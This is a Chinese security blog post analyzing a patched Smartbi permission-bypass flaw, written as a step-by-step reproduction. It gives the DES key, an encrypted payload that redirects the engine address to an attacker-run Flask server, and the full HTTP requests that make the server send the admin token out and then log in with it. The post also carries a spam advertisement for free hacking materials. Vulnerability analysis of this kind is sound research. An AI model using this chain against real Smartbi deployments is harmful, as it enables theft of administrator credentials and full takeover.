首页 > 其他分享 >smartbi token回调获取登录凭证漏洞(二)

smartbi token回调获取登录凭证漏洞(二)

时间:2023-09-01 16:35:04浏览次数:41  
标签:0.9 application image Accept 漏洞 token api smartbi

2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01 分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setAddress有关

smartbi token回调获取登录凭证漏洞(二)_漏洞分析

是上一个漏洞的绕过,是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESSENGINE_ADDRESS,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将c_address、和u_address看成同一个了以为不能利用,只能说很多师傅都在看smartbi,只要一有新的洞,绕过很快就出来了)

smartbi token回调获取登录凭证漏洞(二)_Smartbi漏洞_02

查看CommonUtil.desDecode方法,其实也只是进行DES解密,密钥为isPassword

smartbi token回调获取登录凭证漏洞(二)_Smartbi漏洞_03

故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESSENGINE_ADDRESS为伪造服务器地址,用于接收token

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

0x02 分析结果

第一步,获取之前的EngineAddress

首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddressserviceAddress这是因为要进行修改设置,需要提供之前的地址

smartbi token回调获取登录凭证漏洞(二)_权限绕过_04

POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 4

第二步,设置EngineAddress为攻击者机器上的伪造http服务地址

通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密,参数明文为

{
  "type": "experiment",
  "c_address": "http://10X.0.0.1:8010",
  "u_address": "http://10x.0.0.55:8000"
}

smartbi token回调获取登录凭证漏洞(二)_漏洞分析_05

c_address填写上述第一步获取得到的engineAddress,加密得到密文, u_address设置为新的engineAddress,可以理解为用于接收token的fake server地址,此处设置为http://10x.0.0.55:8000,这个是一个用flask搭建的fake server,上面只注册了/api/v1/configs/engine/smartbitoken路由

from flask import Flask,jsonify,request


app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)

smartbi token回调获取登录凭证漏洞(二)_漏洞分析_06

POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 208

312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372

smartbi token回调获取登录凭证漏洞(二)_漏洞分析_07

从响应来看返回true,即修改成功

第三步,触发smartbi向刚刚设置的EngineAddress外发token

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment

smartbi token回调获取登录凭证漏洞(二)_Smartbi漏洞_08

发送相关请求后,即可在我们的fake server上面看到了携带token的请求

smartbi token回调获取登录凭证漏洞(二)_Smartbi漏洞_09

第四步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_xxxxxxxxxxxxxxxxx84f50082

返回true表示登录成功,其中的cookie就是admin账户的合法凭证

 

标签:0.9,application,image,Accept,漏洞,token,api,smartbi
From: https://blog.51cto.com/u_14601424/7324229

相关文章

  • wazuh环境配置及漏洞复现
    1.wazuh环境配置及漏洞复现进入官网下载OVA启动软件:VirtualMachine(OVA)-Installationalternatives(wazuh.com)2.进入VMware像配置其他虚拟机一样进行配置即可3.上面会有提示:账号为,wazuh-user;密码,wazuh 4.将网络连接模式更改为NAT,否则不能连上网  5.重启网络,......
  • 应用交付交付管理(报表)系统LOGIN 远程命令执⾏漏洞
    漏洞描述深信服应⽤交付管理系统login存在远程命令执⾏漏洞,攻击者通过漏洞可以获取服务器权限,执⾏任意命令漏洞影响深信服应⽤交付管理系统7.0.8-7.0.8R5⽹络测绘fid="iaytNA57019/kADk8Nev7g=="登录页面如下:第一个POC输入账号密码拦截登录请求包,然后更改数据包。......
  • 深信服应用交付报表系统download.php任意文件读取漏洞
    漏洞描述深信服应用交付报表系统download.php文件存在任意文件读取漏洞,攻击者通过漏洞可以下载服务器任意文件。漏洞影响深信服应用交付报表系统漏洞复现fofa搜索环境复现:app="SANGFOR-应用交付报表系统"登录页面:payload:/report/download.php?pdf=../../../../../etc/pa......
  • 辰信景云终端安全管理系统 login SQL注入漏洞
    漏洞描述辰信领创辰信景云终端安全管理系统login存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息漏洞复现fofa语法:"辰信景云终端安全管理系统"&&icon_hash="-429260979"登录页面如下:POC:POST/api/user/loginHTTP/2Host:zy.x1be.comContent-Length:102Sec-......
  • Jeecg-Boot存在前台SQL注入漏洞CVE-2023-1454
    Jeecg-boot简介jeecgBoot是一款基于BPM的低代码平台!前后端分离架构SpringBoot2.x,SpringCloud,AntDesign&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发!JeecgBoot引领新低代码开发模式OnlineCoding->代码生成器->手工MERGE,帮助J......
  • jeecg-boot/积木报表基于SSTI的任意代码执行漏洞
    漏洞简介JeecgBoot受影响版本中由于积木报表/jeecg-boot/jmreport/queryFieldBySqlApi接口未进行身份校验,使用Freemarker处理用户用户传入的sql参数,未经授权的攻击者可发送包含恶意sql参数的http请求,通过SSTI在应用端执行任意代码。漏洞复现fofa语法:body="jeecg-b......
  • App开放接口API安全性—Token签名sign的设计与实现
    在app开放接口API的设计中,避免不了的就是安全性问题。 一、https协议对于一些敏感的API接口,需要使用https协议。https是在http超文本传输协议加入SSL层,它在网络间通信是加密的,所以需要加密证书。 二、签名设计原理:用户登录后向服务器提供用户认证信息(如账户和密码),服务器认证完后......
  • Python+Flask接口实现简单的ToKen功能
    话不多说,上代码fromflaskimportrequest,jsonifyfromfunctoolsimportwrapsclassTokenRequired:@classmethoddeftoken_required(cls,f):@wraps(f)defdecorated_function(*args,**kwargs):#获取请求头部中的key字段......
  • Http头Hostname攻击漏洞
    作者:Monyer链接:https://www.zhihu.com/question/67477221/answer/254009089来源:知乎著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。这本来是个简单得不能再简单的漏洞。不过遵循题主的诉苦,我去网上找了一圈,的确发现没有一个能把这个问题说清楚,把解决方案......
  • ThinkPHP 多语言本地文件包含漏洞
    ThinkPHP多语言本地文件包含漏洞ThinkPHP是一个再中国使用比较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意php文件。虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可......